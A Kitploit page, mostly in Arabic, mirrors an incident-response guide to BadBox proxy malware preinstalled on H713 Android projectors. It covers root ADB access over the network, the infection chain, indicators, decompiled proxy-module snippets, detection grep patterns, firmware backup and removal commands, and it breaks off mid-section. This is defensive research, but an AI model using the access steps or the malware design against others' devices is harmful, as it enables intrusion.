Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
badbox-h713-projector — دليل تحليل وتنظيف برمجية BadBox الخبيثة على أجهزة عرض Allwinner H713 التي تعمل بنظام Android: الوصول عبر ADB، وإثبات الإصابة، والنسخ الاحتياطي للبرنامج الثابت، وإزالة برمجية الإسقاط، والتحقق. | Kitploit
أدوات/GitHubGitHub/florentineprinzessinzusachsen/badbox-h713-projector
أمان أندرويدأمان الأنظمة المدمجةأمان إنترنت الأشياءالهندسة العكسيةجمع المعلوماتتحليل البرمجيات الخبيثةالتحاليل الرقمية الجنائيةأمن الجوالأمان الأجهزة وإنترنت الأشياء

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الاستجابة للحوادث
تحليل البرامج الثابتة
GitHubflorentineprinzessinzusachsen/badbox-h713-projector

badbox-h713-projector

دليل تحليل وتنظيف برمجية BadBox الخبيثة على أجهزة عرض Allwinner H713 التي تعمل بنظام Android: الوصول عبر ADB، وإثبات الإصابة، والنسخ الاحتياطي للبرنامج الثابت، وإزالة برمجية الإسقاط، والتحقق.

عرض المستودع
117منذ يوم واحدلم تتم المراجعة بعد

مشروع Wielo / Atongmu Malware Projector: تحليل BadBox والتنظيف (AT-M269 / H713)

26 سبتمبر 2026 · @R

جهاز عرض أندرويد رخيص (Wielo / Atongmu AT-M269، Allwinner H713) يُشحن مع dropper على مستوى النظام يحوّله إلى عقدة وكيل سكنية. توضح هذه الوثيقة كيفية الدخول دون فتح العلبة، وإثبات الإصابة، ونسخ الفيرموير احتياطيًا، وإزالة البرمجيات الخبيثة، والتحقق من النتيجة.

1. الجهاز

جهاز عرض LCD بدون علامة تجارية يُباع تحت علامات تجارية متغيرة. اللوحة والفيرموير مشتركان بين العديد من أجهزة عرض H713 (نسخ HY300 وغيرها)، لذا ينطبق كل ما هنا على نطاق أوسع.

الخاصيةالقيمة
يُباع باسمWielo Smart Projector، الطراز AT-M269 (FCC ID 2BAAR-AT-M269D)
الشركة المصنعةShenzhen Atongmu Technology؛ الفيرموير والتطبيقات من OEM "ASHD"
مراجعة العتادpersist.sys.cm.hardversion = AT-M269_720P_HP_202410221430
SoCAllwinner H713M (ro.boot.hardware = sun50iw12p1)، رباعي Cortex-A53؛ اللوحة exdroid، المنصة ares
RAM / التخزين1 GB DDR @ 576 MHz / 8 GB eMMC (7,818,182,656 بايت)
Wi-Fi / BluetoothAIC8800 (aic8800d80، برنامج التشغيل rwnx 6.4.3.0)
KernelLinux 5.4.99، 32-bit (armv7l)، بُني في 8 ديسمبر 2025
البناء الحقيقيh713m_tuna_p3-user 11 RP1A.201005.006 eng.work3.20251208.154308 release-keys، الفيرموير H713M-android11-v1.0، مضيف البناء ishang-PC
نظام التشغيلAndroid 11 (SDK 30)، بناء user، تصحيح أمني 2022-02-05
التمويهيعرّف نفسه كـ Google ADT-3 (العلامة التجارية/الطراز/الجهاز، الشركة المصنعة askey)؛ الطراز الحقيقي في ro.product.model2 = AT-M269
الأقسام / الإقلاعVirtual A/B، الفتحة النشطة _b، أقسام ديناميكية (retrofit) في super؛ AVB 2.0، vbmeta.device_state = locked، verifiedbootstate فارغ؛ فتح OEM غير مسموح؛ /system ممتلئ 100%
الأمانro.debuggable=1، ro.adb.secure=0، service.adb.root=1، ADB على tcp/5868، SELinux permissive، أذونات privapp permissive، مفاتيح اختبار AOSP
الإعدادات الإقليمية الافتراضيةالمنطقة الزمنية Asia/Shanghai، منطقة DTV cn / DTMB

Read the identity yourself

adb shell getprop ro.product.model # ADT-3 <- spoofed, to pass Google certification adb shell getprop ro.product.model2 # AT-M269 <- real model adb shell getprop ro.board.platform # ares, H713 platform name adb shell getprop ro.build.type # user <- release build

root@kitploit:~
## 2. الدخول

يستمع ADB على الشبكة، عبر منفذ غير قياسي، دون طلب تفويض ومع صلاحيات الجذر.```
# 1. Find open ports (projector on an isolated network)
nmap -p- 10.56.215.10
#   5868/tcp open   <- nmap guesses "diameters"; it is actually adbd

# 2. Confirm from the device side (e.g. via Termux on the projector)
getprop service.adb.tcp.port   # 5868
getprop ro.adb.secure          # 0    -> no "allow debugging?" prompt
getprop init.svc.adbd          # running

# 3. Connect from a computer
adb connect 10.56.215.10:5868
adb root
adb shell id                   # uid=0(root)

إطفاء المصباح أثناء العمل عبر ADB```

adb shell 'echo adb_keepalive > /sys/power/wake_lock' # keep CPU/Wi-Fi awake (needs root adbd) adb shell cat /sys/power/wake_lock # adb_keepalive must be listed adb shell input keyevent KEYCODE_SLEEP # display + lamp off, ADB stays connected

when done

adb shell input keyevent KEYCODE_WAKEUP # lamp on adb shell 'echo adb_keepalive > /sys/power/wake_unlock' # release the wakelock

root@kitploit:~
`/sys/class/backlight/tv` > `brightness`/`bl_power` ليس لهما أي تأثير.

## 3. سلسلة الإصابة

يعمل تطبيقان نظاميان مثبتان مسبقًا بصلاحيات مستخدم النظام (UID 1000). أحدهما يقوم بتنزيل محمّل، ويقوم المحمّل بتنزيل أربع وحدات بروكسي ومحمّل ثانٍ مستقل.```
Firmware (preinstalled, UID 1000)
├─ com.android.sysapp          /system/priv-app/AshdSysApp
│    OTA updater, can replace the whole firmware (update.zip / payload.bin)
│    C2: wjtysj.ishanghd.com/hx_kt.php
│
└─ com.android.umanalytics.yiyou /system/app/AndroidAnalytics_yiyou
     Dropper; Umeng + Baidu tracking
     └─ downloads cache/plugin.jar       (DEX, from *.ishanghd.com)
          ├─ app installer: pulls app lists per device profile, pm install -r
          │    └─ installs Disney+ etc. and com.google.adtest (payload)
          └─ "hs" task loader, C2 api.loritor.cc / api.nizero.cc, every 6 h
               └─ 4 encrypted modules  code_cache/.hs/.file/.rf/*.rf
                    SKN0041 com.ad.proxy   SKN0054 com.szns.sdk
                    SKN0058 com.link.core  SKN0061 ddth2 (VpsSdk)
                    -> all four: residential proxy clients

com.google.adtest (/data/app, installed by yiyou)
     Second loader "com.speed", own C2 (api.logobi.cc, api.pechlo.cc, ...)
     Native plugin loader, may install/delete packages -> backup channel

> يتم توجيه حركة مرور الإنترنت الخاصة بالغرباء عبر اتصالك، ويتم تتبع جهازك (الرقم التسلسلي، عناوين MAC، Wi-Fi SSID/BSSID).

4. إثبات الإصابة على مستوى المصنع

أ) حركة مرور شبيهة بالوكيل: عملية واحدة، اتصالات خارجية كثيرة```bash

adb shell "netstat -tnp | grep ESTABLISHED"

tcp6 ... ::ffff:43.116.39.73:188 ESTABLISHED 4795/com.android.umanalytics.yiyou

tcp6 ... ::ffff:198.44.189.x:9200 ESTABLISHED 4795/com.android.umanalytics.yiyou

... ~25 lines, same process, many IPs, odd ports

-> an "analytics" app does not hold 25 parallel sessions: this is a proxy node

root@kitploit:~
### **ب) من قام بتثبيت ماذا**```bash
adb shell pm list packages -i | grep -v 'installer=null\|com.android.vending'
# package:com.google.adtest       installer=com.android.umanalytics.yiyou  <- payload
# package:com.disney.disneyplus   installer=com.android.umanalytics.yiyou  <- cover
#  -> a system "analytics" app installing packages = dropper

adb shell dumpsys package com.google.adtest | grep -E 'codePath|firstInstallTime'
#  fake Google name, lives in /data/app, installed silently

ج) ملفات الحمولة في مجلد بيانات المُسقِط```bash

adb shell 'ls -laR /data/data/com.android.umanalytics.yiyou' | grep -E 'plugin.jar|.rf|files/apps'

cache/plugin.jar <- downloaded loader (DEX)

code_cache/.hs/.file/.rf/-1.dex_assdk_huang_SKN00xx.rf <- 4 encrypted modules

files/apps/com.google.adtest.apk <- stored payload for reinstall

directories are chmod 777

root@kitploit:~
### **د) الإعداد على مستوى النظام**```bash
adb shell getprop ro.product.model
# ADT-3 (spoofed)
adb shell dumpsys package com.android.sysapp | grep sharedUser
# android.uid.system  -> runs with system privileges
adb shell dumpsys package com.android.sysapp | grep -E 'INSTALL_PACKAGES|RECOVERY|MASTER_CLEAR'
# unnamed OEM app that may install apps, flash firmware and wipe the device
adb shell cat /system/etc/init/qw.rc
# service qw /system/bin/qw --daemon  user root

هـ) تشغيل البرمجيات الخبيثة في يوم بناء المصنع

البرمجيات الخبيثة مدمجة مباشرة في البرنامج الثابت. تاريخ البناء هو eng.work3.20251208.154308، وتم تجميع النواة في Mon Dec 8 15:27:38 CST 2025. تُظهر سجلات yiyou أنها كانت تعمل في نفس اليوم:```

baidu_mtj_sdk_record.xml (yiyou data)

session_recent_visit: [{"day":20251208,"count":1}, {"day":20260910,...}, ...]

first recorded run = 8 Dec 2025, the day the firmware was built

ua.db (yiyou's Umeng session table), timestamps column __f

1765179258896 -> 2025-12-08 07:34 UTC = 15:34 CST, ~7 min after the kernel build

root@kitploit:~
### **f) برمجيات خبيثة داخل صورة النظام الموقّعة من المورّد والقابلة للقراءة فقط**

لا يمكن للمستخدم أو لتطبيق لاحق وضع ملفات في `/system`. فهي جزء من `super`، محمية بواسطة dm-verity وموقّعة عبر `vbmeta`.

## 5. نظرة عامة على بنية البرمجيات الخبيثة

### 5.1. المكوّنات الرئيسية

| المكوّن                           | الموقع                       | ما يفعله                                                                                                        |
| --------------------------------- | ---------------------------- | --------------------------------------------------------------------------------------------------------------- |
| `com.android.umanalytics.yiyou`   | `/system/app`، UID 1000      | ينزّل `plugin.jar` ويشغّله؛ يرسل الرقم التسلسلي، وعناوين MAC، وandroid_id، وWi-Fi SSID/BSSID، وBluetooth MAC إلى Umeng/Baidu |
| `plugin.jar` (DEX)                | yiyou `cache/`               | جزآن: مثبّت التطبيقات (قوائم تطبيقات لكل جهاز، أكثر من 40 ملف تعريف لـ H713/RK3326/HY300) ومحمّل مهام "hs"    |
| محمّل مهام "hs"                   | داخل `plugin.jar`            | يستعلم من C2 كل 6 ساعات عن مهام من النوع `jar` أو `dex` أو `apk`؛ ينزّلها، ويتحقق من MD5، وينفّذها             |
| SKN0041 `com.ad.proxy`            | وحدة `.rf`                   | أنفاق TCP/UDP/ICMP، نبضات القلب، تسجيل الدخول/الإبلاغ                                                          |
| SKN0054 `com.szns.sdk`            | وحدة `.rf`                   | عقدة وسيطة بالإضافة إلى فحص UDP من شبكتك                                                                        |
| SKN0058 `com.link.core`           | وحدة `.rf`                   | عميل وسيط مع خوادم DNS خاصة به                                                                                  |
| SKN0061 `ddth2` / VpsSdk          | وحدة `.rf`                   | بوابة وسيطة، العديد من نسخ العملاء المتوازية                                                                    |
| `com.google.adtest` ("com.speed") | `/data/app`                  | محمّل ثانٍ مع محمّل إضافات أصلي؛ تثبيت/حذف الحزم؛ يُعاد تشغيله عند الإقلاع، والشبكة، وHDMI، وأحداث الطاقة |
| `com.android.sysapp`              | `/system/priv-app`، UID 1000 | محدّث OTA: يمكنه تنزيل صورة برنامج ثابت كاملة وكتابتها                                                          |
| ملفات Widevine                    | `/data/mediadrm/IDM1013/L3/` | يُسقط `plugin.jar` حزمة مفتاح/ترخيص DRM حتى تعمل تطبيقات البث على الجهاز غير المعتمد                            |

### 5.2. كيف تبقى الأجزاء مخفية```
# C2 hostnames are not in plain text: gzip + Base64 + AES-CFB with a hardcoded key.
#   decrypted: api.loritor.cc (master), api.nizero.cc (slave)
# DNS is resolved via DNS-over-HTTPS (dns.google, cloudflare-dns.com, doh.pub, 223.5.5.5)
#   -> router DNS blocking alone misses it
# .rf module layout (per file):
#   [version][...][salt:32 bytes][invocation: AES][module: AES][DSA signature]
#   invocation = {"cn":"com.hotota.p.d.MainApi","m_init":"start_W00xx","m_uninit":"stop"}
#   module     = an APK whose classes.dex is loaded with DexClassLoader
# Modules are signed, so only the operator can push new ones.

5.3. ما الذي يرسله التتبع```

shared_prefs/info.xml wifiinfo: ssid, bssid, device MAC, IP; blueinfo: BT MAC; accelerometer samples shared_prefs/umeng_*.xml appkey 61c17582e014255fcbc1a9af, channel ashd-analytics umeng_general_config.xml first_activate_time = 2 Mar 2026, successful_request = 218 hs.prefs_1.xml periods=21600 (6 h), last.trackerid = SKN0061

root@kitploit:~
### 5.4. الحركة الجانبية

**لا توجد حركة جانبية تلقائية، لكن هناك باب إلى الشبكة المحلية (LAN)**

> لكن **SKN0041** و**SKN0058** يمرران إلى أي هدف تحدده البوابة، ويمكن لـ SKN0041 أيضًا عمل ping له عند الطلب. أي شخص يستأجر الوكيل يمكنه الوصول إلى الشبكة المحلية أو استكشافها يدويًا.

- `plugin.jar`
- وحدات `.rf` المفكوكة التشفير SKN0041/54/58/61
- `com.google.adtest`، yiyou، sysapp
- `com.android.nfx` (NFXAccessibility)
- native: `qw`، `systemmixservice`، `libsystemmix_jni.so`، `libsystemmixservice.so````bash
grep -rlE 'ServerSocket|DatagramSocket|MulticastSocket|NetworkInterface|getDhcpInfo|/proc/net/arp|239\.255\.255\.250|224\.0\.0\.251|:5555|telnet|isReachable|NsdManager|JmDNS|UPnP|Cling|SSDP|WifiP2pManager|getBroadcast|broadcastAddress|SubnetMask|prefixLength|getLinkAddresses|InterfaceAddress' analysis/decompiled/*/sources
grep -rlE 'Runtime\.getRuntime\(\)\.exec|ProcessBuilder' analysis/decompiled/*/sources
root@kitploit:~
|| str.matches("^192\\.168\\..*") || str.matches("^127\\..*")

// no 169.254.0.0/16 clause and no IPv6 form here, a link-local or IPv6 LAN target slips through

// SKN0061 ddth2/hidden/F.java - InetAddress's own range checks, covers link-local and IPv6 too !a.isAnyLocalAddress() && !a.isLoopbackAddress() && !a.isLinkLocalAddress() && !a.isSiteLocalAddress() && !a.isMulticastAddress()

// SKN0041 com/ad/proxy/b/Q.java - "url init" command: fetches any URL, no check InetAddress byName = InetAddress.getByName(host); createSocket.connect(new InetSocketAddress(byName, port), 10000);

// SKN0058 com/link/core/a/e.java - connects to the server-supplied address, no check this.c.connect(new InetSocketAddress(inetAddress, this.d));

root@kitploit:~
مجموعة الأوامر الكاملة لـ SKN0041، من جدول التوجيه `com/ad/proxy/b/a0.java`:

| Opcode | Handler    | Does                                                                               |
| ------ | ---------- | ---------------------------------------------------------------------------------- |
| 1 / 2  | U / V      | heartbeat request / response                                                       |
| 3      | W          | opens a raw TCP connection to an operator-supplied host:port, no address check     |
| 5 / 7  | X / Y      | tcp send / close on an open transaction                                            |
| 8      | Z          | opens a raw UDP session to an operator-supplied host:port, no address check        |
| 11     | K          | udp close                                                                          |
| 12     | L → P.java | runs `ping -c 10 <host>` on an operator-supplied host, relays the full output back |
| 14     | M → Q.java | fetches an operator-supplied URL, no check                                         |

لا يقوم أي من هذه الأكواد بالتصفية حسب نطاق IP.

خادم إعادة بث الفيديو `plugin.jar` (وهو `com.cloudmedia.tv.server.d`، نسخة معدلة من NanoHTTPD تخدم إعادة كتابة بث Aiqiyi/Youku/CIBN) يرتبط بدون تعيين مضيف، مما يعني جميع الواجهات، يمكن الوصول إليه عبر الشبكة المحلية، وليس فقط localhost، إذا بدأ. نقطة الدخول الوحيدة له هي `ParserUtils.AnalyticsHelper()`، خلف `getprop ro.board.platform == "rk3188"`. هذه الوحدة تُبلّغ عن `ares` (H713)، لذا تبقى البوابة مغلقة.

حالة الجهاز المباشر: يُظهر `netstat -tnp` فقط بث الشاشة عبر loopback (`com.android.toofifi` على `127.0.0.1:5354`)، وGMS إلى Google عبر IPv6، وجلسة ADB. لا توجد عملية `yiyou` أو `sysapp` أو `speed` أو `umanalytics` أو `adtest` قيد التشغيل.

واجهة Binder الخاصة بـ `systemmixservice` (قراءة/كتابة/حذف ملفات عشوائية وتعيين خصائص كـ root، يمكن الوصول إليها من أي تطبيق على الجهاز) هي تصعيد صلاحيات محلي. إزالة الـ dropper وعدم تثبيت تطبيقات APK غير موثوقة يغلق هذا الثغرة.

## 6. المؤشرات

مؤشرات الشبكة (النطاقات، عناوين URL، عناوين IP) موجودة في [القسم 11](#11-consolidated-hosturl-list-for-abuse-reports).

### 6.1. الحزم

| Package                                                         | Location                                                | Role                                                             |
| --------------------------------------------------------------- | ------------------------------------------------------- | ---------------------------------------------------------------- |
| `com.android.umanalytics.yiyou`                                 | `/system/app/AndroidAnalytics_yiyou`, UID 1000 (system) | dropper                                                          |
| `com.android.sysapp` (AshdSysApp)                               | `/system/priv-app/AshdSysApp`, UID 1000 (system)        | OTA-channel backdoor                                             |
| `com.google.adtest` (real name `com.fotas.wanapp`, "com.speed") | `/data/app`                                             | second loader                                                    |
| `com.cloudmedia.testapk`                                        | `/system/app`                                           | OEM factory test app, removed alongside the dropper in section 8 |
| `com.disney.disneyplus`                                         | `/data/app`                                             | cover app installed by the dropper                               |
| `com.android.nfx`                                               | `/system/priv-app/NFXAccessibility`                     | kept, harmless (Netflix remote-control helper)                   |

### 6.2.الملفات التنفيذية

| Binary                                                                             | Init service                                                                          | What it does                                                                                                                                                                                                                                                                                  |
| ---------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `/system/bin/qw`                                                                   | **`qw`**: `class core`, `user root`, runs permanently from boot                       | Superuser/ClockworkMod su daemon (opens `/dev/com.koushikdutta.superuser` + `.daemon` sockets).                                                                                                                                                                                               |
| `/system/bin/appsdisable`                                                          | **`appsdisable`**: triggered `on property:sys.boot_completed=1`, `disabled`+`oneshot` | After a 4 s sleep on boot (`settings ... global start_disable`), finds every installed package with a `BOOT_COMPLETED` receiver whose component starts with `com.google.android` and `pm disable`s it to kill Google's own boot-time checks like Play Protect scanning and GMS core services. |
| `/system/bin/gmsopt`                                                               | **`gmsopt`**: same trigger and flags as appsdisable                                   | Same disable-Google-boot-receivers behavior as appsdisable but excluding `com.google.android.permissioncontroller`. Redundant.                                                                                                                                                                |
| `/system/bin/systemmixservice` (+ `libsystemmix_jni.so`, `libsystemmixservice.so`) | **`systemmix`**: `class main`, `user root`, `oneshot`                                 | OEM native? Purpose not fully determined but is root group.                                                                                                                                                                                                                                   |

### 6.3. الملفات والمجلدات

| Path                                                                                                                                                                          | What                                                     |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------- |
| `/data/data/com.android.umanalytics.yiyou/cache/plugin.jar`                                                                                                                   | downloaded "hs" loader / app-installer DEX               |
| `/data/data/com.android.umanalytics.yiyou/code_cache/.hs/.file/.rf/*.rf`                                                                                                      | encrypted proxy modules (SKN0041/54/58/61)               |
| `/data/data/com.android.umanalytics.yiyou/files/apps/com.google.adtest.apk`                                                                                                   | stored payload copy for silent reinstall                 |
| `/data/data/com.android.umanalytics.yiyou/files/libcuid.so`                                                                                                                   | device-ID helper native library                          |
| `/data/data/com.android.umanalytics.yiyou/databases/ua.db`                                                                                                                    | Umeng session DB                                         |
| `/data/data/com.android.umanalytics.yiyou/shared_prefs/{info.xml, umeng_*.xml, hs.prefs_1.xml, hs.cuid.v1.xml, vps_sdk_prefs.xml, Plugin.xml, baidu_mtj_sdk_record.xml, ...}` | tracking/config prefs                                    |
| `/data/data/com.android.sysapp/shared_prefs/SHARE.xml`                                                                                                                        | OTA download-state prefs                                 |
| `/data/mediadrm/IDM1013/L3/`                                                                                                                                                  | dropped Widevine L3 DRM bundle                           |
| `/data/local/tmp/*`, `/data/ota_package/tmp/*`                                                                                                                                | scratch/leftover space used by the loader and OTA client |

### 6.4. تجزئات العينات

| Sample                          | SHA-256                                                            |
| ------------------------------- | ------------------------------------------------------------------ |
| `plugin.jar`                    | `e2e5f86df18e0cdef9595bd886280f158001250f1565fa3e6dfe492b114be6f7` |
| SKN0041 (decrypted)             | `d7b26e53ade1cfcd283bfbbc5de7f792e8f8d441d74162eeef7e8a7c83ed5dba` |
| SKN0054 (decrypted)             | `ba3b320791b80dae25d07e17e43d4b11b5c5a0d8b989fdb4a7f47ccb39201307` |
| SKN0058 (decrypted)             | `60ade80fcd0a1c5bb3f62e76cd056b0e8034fdbe1e9834c335c0e60d99d12742` |
| SKN0061 (decrypted)             | `fcffed775c6d6967bd40e4fa5b529f9fd301b3ebd64a555c756943d1e863fea7` |
| `com.google.adtest.apk`         | `1298662eb6d087aa1e6f967d50581e998b5897ec1563bdf96589540845874110` |
| `AndroidAnalytics_yiyou.apk`    | `c4910d6fa666eff03bdc683423f7f2585cb263f8dcbf5f1fe7a1e2643eb384aa` |
| `AshdSysApp.apk`                | `f9cd44d359c9b0c92ddb8b868665a3e8edd54a19cc21a35fb2fba7dbdf36bb5a` |
| `L3.zip` (Widevine bundle)      | `8367725743c27ed1fd49d5eb086e7b260cfcf38a825a8892ce31b45e767e228f` |
| `favorite.ico` (SKN0054 config) | `8d64d2982f8f5cb01ad1bbce53861e09eae2884fe8c545ac9023b636c8f5ffa2` |

## 7. النسخ الاحتياطي

لا يبدو أن هناك برنامجًا ثابتًا (firmware) منشورًا لهذا الطراز، كما أن خادم OTA الخاص بالمورد المُعاد هندسته عكسيًا لا يُرجع شيئًا أيضًا.```
# Simple one-shot dump (fine over USB; over Wi-Fi it can stall)
adb exec-out "dd if=/dev/block/mmcblk0 bs=4M 2>/dev/null" > mmcblk0.img
adb shell 'ls /dev/block/mmcblk0boot*'      # eMMC boot areas, dump them too if present

عبر Wi-Fi، استخدم السكربتات المساعدة

  1. dump-pull.sh [ip:port|usb] [file] يسحب البيانات على شكل أجزاء بحجم 256 ميجابايت مع التحقق من الحجم وإعادة المحاولة. إعادة تشغيله تستأنف من آخر جزء مكتمل. قبل القراءة، يعيد تركيب /data باستخدام background_gc=off,nodiscard، ويزامن وينتظر 10 ثوانٍ. عبر USB يقوم أيضًا بتشغيل adb shell stop. يتم التراجع عن كليهما عند الخروج (إعادة التركيب باستخدام background_gc=on,discard، start). UDISK هو /data ويبقى نشطًا، لذا قد تظل بصمته مختلفة من تشغيل لآخر.
  2. dump-verify.sh [ip:port|usb] [file] [-y] يتحقق من الحجم، وترويسات GPT، ومناطق الإقلاع، وكل قسم (SHA-256 للجهاز مقابل نفس نطاق البايتات في الصورة). يقرأ ويصحح أي قسم غير متطابق. عند نجاح التحقق بالكامل يكتب mmcblk0.img.sha256.```

What the partition check does, per partition

p=$(adb shell readlink /dev/block/by-name/super | xargs basename) # e.g. mmcblk0p9 s=$(adb shell cat /sys/block/mmcblk0/$p/start) # start sector (512 B) z=$(adb shell cat /sys/block/mmcblk0/$p/size) # size in sectors adb shell sha256sum /dev/block/by-name/super # hash on the device tail -c +$((s512+1)) mmcblk0.img | head -c $((z512)) | shasum -a 256 # same range in the image

userdata, metadata, misc change while Android runs: a mismatch there is expected

root@kitploit:~
### مسار الاستعادة

ادخل إلى Allwinner FEL، ثم اكتب باستخدام PhoenixUSBPro عبر كابل USB-A إلى USB-A.

لا يوجد ثقب خارجي للتمهيد إلى FEL: `adb reboot efex` أو `fastboot oem efex`.

بديل محتمل على مستوى العتاد: وسادة FEL على اللوحة، ظاهرة في صور FCC الداخلية (يتطلب فتح العلبة). تتطلب الكتابة ملف `update.img` بصيغة IMAGEWTY، مبنيًا من نسختك الاحتياطية باستخدام `awimg.py` ([well0nez/magcubic-root](https://github.com/well0nez/magcubic-root)) وقالب H713.

FEL للكتابة فقط. لا يمكن لـ PhoenixSuit وPhoenixUSBPro قراءة eMMC مرة أخرى، ولا يمتلك `sunxi-fel` تخطيط SRAM لـ H713، فقط أوامر القراءة تعمل ([sunxi-tools #226](https://github.com/linux-sunxi/sunxi-tools/issues/226)).

يبقى نسخ ADB أعلاه طريقة النسخ الاحتياطي.

### **أوضاع التمهيد**

الجهاز بنظام A/B (`ro.build.ab_update=true`) مع الفتحة `_b` نشطة. لا يوجد قسم `recovery`: الاستعادة موجودة في ramdisk الخاص بالتمهيد. وحدة التحكم التسلسلية لـ U-Boot هي `ttyS0` بسرعة 115200 بود.

| الوضع            | كيفية الدخول                                                                                                 | المستوى                 | الحالة                                                                                      |
| --------------- | ------------------------------------------------------------------------------------------------------------ | --------------------- | ------------------------------------------------------------------------------------------- |
| Android         | تشغيل عادي، `adb reboot`                                                                                | kernel                | يعمل                                                                                       |
| Recovery        | `adb reboot recovery`                                                                                        | boot ramdisk          | يعمل، القائمة أدناه                                                                           |
| fastbootd       | قائمة الاستعادة: Enter fastboot                                                                                | userspace in recovery | يدخل                                                                                      |
| U-Boot fastboot | قائمة الاستعادة: Reboot to bootloader، أو `adb reboot bootloader`                                              | U-Boot                | يعمل (macOS يحتاج الإصلاح أدناه)                                                           |
| U-Boot efex     | `fastboot oem efex` من U-Boot fastboot، أو `adb reboot efex` (يمتلك U-Boot أيضًا مشغلًا عن بعد `ir-efex`) | U-Boot                | يعمل عبر `fastboot oem efex` وعبر `adb reboot efex`: `1f3a:efe8`، مصافحة FEL تستجيب |
| BootROM FEL     | وسادة اختبار FEL                                                                                                 | SoC BootROM           | غير مختبر                                                                                    |

### **قائمة الاستعادة:**

- Reboot system now
- Reboot to bootloader
- Enter fastboot
- Apply update from ADB
- Apply update from SD card
- Wipe data/factory reset
- Mount /system
- View recovery logs
- Run graphics test
- Run locale test
- Enter rescue
- Power off

### **ADB عبر USB**

المقبس الذي يستقبل USB0 (`ohci0`) يعمل كمضيف افتراضيًا. يتحول إلى وضع الجهاز حتى إعادة التشغيل التالية باستخدام:```
adb shell cat /sys/devices/platform/soc@2900000/soc@2900000:usbc0@0/usb_device
adb -d shell id

U-Boot fastboot غير مكتشف

تظهر الأداة كـ 1f3a:1010 ("USB Developer")، وواجهتها هي fastboot القياسية ff/42/03. لكن فئة الجهاز الخاصة بها هي ff، ويبدو أن نظام التشغيل (macOS هنا) لا يقوم بإعداد تهيئة وتبقى fastboot devices فارغة.

إذا حدث هذا، فالحل هو تعيين التهيئة مرة واحدة باستخدام pyusb، ثم استخدام fastboot كالمعتاد:```

one-time setup

brew install libusb python3 -m venv ~/venvs/fastboot source ~/venvs/fastboot/bin/activate pip install pyusb

each time the projector is in U-Boot fastboot

source ~/venvs/fastboot/bin/activate python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0x1010).set_configuration()' fastboot devices

root@kitploit:~
### **FEL/efex**

من U-Boot fastboot، يقوم `fastboot oem efex` بالتبديل إلى أداة efex `1f3a:efe8`. (قد تحتاج إلى نفس إصلاح `set_configuration()`)

**بناء Sunxi-tools من المصدر**```
# one-time: build sunxi-fel
brew install libusb dtc pkg-config
git clone https://github.com/linux-sunxi/sunxi-tools
cd sunxi-tools && make sunxi-fel
sudo cp sunxi-fel /usr/local/bin/   # optional, else call ./sunxi-fel

# enter efex and check the handshake (read-only)
fastboot oem efex
source ~/venvs/fastboot/bin/activate
python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0xefe8).set_configuration()'
sunxi-fel --list --verbose
sunxi-fel version

AWUSBFEX soc=00001860(unknown) 00000001 ver=0001 44 08 scratchpad=00121500 00000000 00000000.
استخدم فقط version و --list، ولا تستخدم أبدًا spl أو uboot أو write أو exe لأن أدوات sunxi لا تعرف الشريحة.

لمغادرة FEL، افصل USB أولاً، ثم أطفئ الجهاز حتى ينطفئ المصباح الأزرق على جهاز العرض. لا يعمل wdreset بدون بيانات SoC.

8. التنظيف

8.1. نسخ الأدلة احتياطيًا```

mkdir -p evidence && cd evidence adb shell getprop > getprop.txt adb shell pm list packages -f -i -U > packages.txt adb shell "netstat -tnp" > netstat.txt adb shell 'ls /system/etc/init /vendor/etc/init' > init-files.txt

APKs of the suspicious apps

adb pull /system/app/AndroidAnalytics_yiyou adb pull /system/priv-app/AshdSysApp adb pull "$(adb shell pm path com.google.adtest | cut -d: -f2)" adtest.apk

Complete app data incl. hidden folders (plugin.jar, .rf modules, prefs)

adb exec-out 'tar -cf - /data/data/com.android.umanalytics.yiyou /data/data/com.android.sysapp' > appdata.tar tar -tvf appdata.tar | grep -E '.jar|.rf|.apk|.xml' # check nothing is missing find . -type f -exec shasum -a 256 {} + > ../SHA256SUMS

root@kitploit:~
### 8.2. الإزالة```
# System apps (UID 1000): cannot be deleted from /system without a firmware rebuild.
# Stop, disable, wipe data for user 0 -> inert for the running system, survives reboots.
for p in com.android.umanalytics.yiyou com.android.sysapp com.cloudmedia.testapk; do
  adb shell am force-stop $p
  adb shell pm disable-user --user 0 $p
  adb shell pm clear $p
done

adb shell pm uninstall com.google.adtest

# I removed this too for safety
adb shell pm uninstall com.disney.disneyplus

# Leftovers
adb shell 'rm -rf /data/local/tmp/* /data/ota_package/tmp/*'

adb reboot

محتفظ به، على الأرجح غير ضار:

  • qw (خادم su، قابل للإزالة فقط عن طريق تحرير /system، يمكن الوصول إليه محليًا فقط)
  • تطبيقات OEM غير ضارة: appsdisable، gmsopt، systemmixservice
  • com.android.nfx (مساعد التحكم عن بعد لـ Netflix)

فحص مكافحة العبث

إلغاء تثبيت yiyou يكسر الإعدادات. يحتوي checkSHA1() في com.ashd.settings على فحصين:

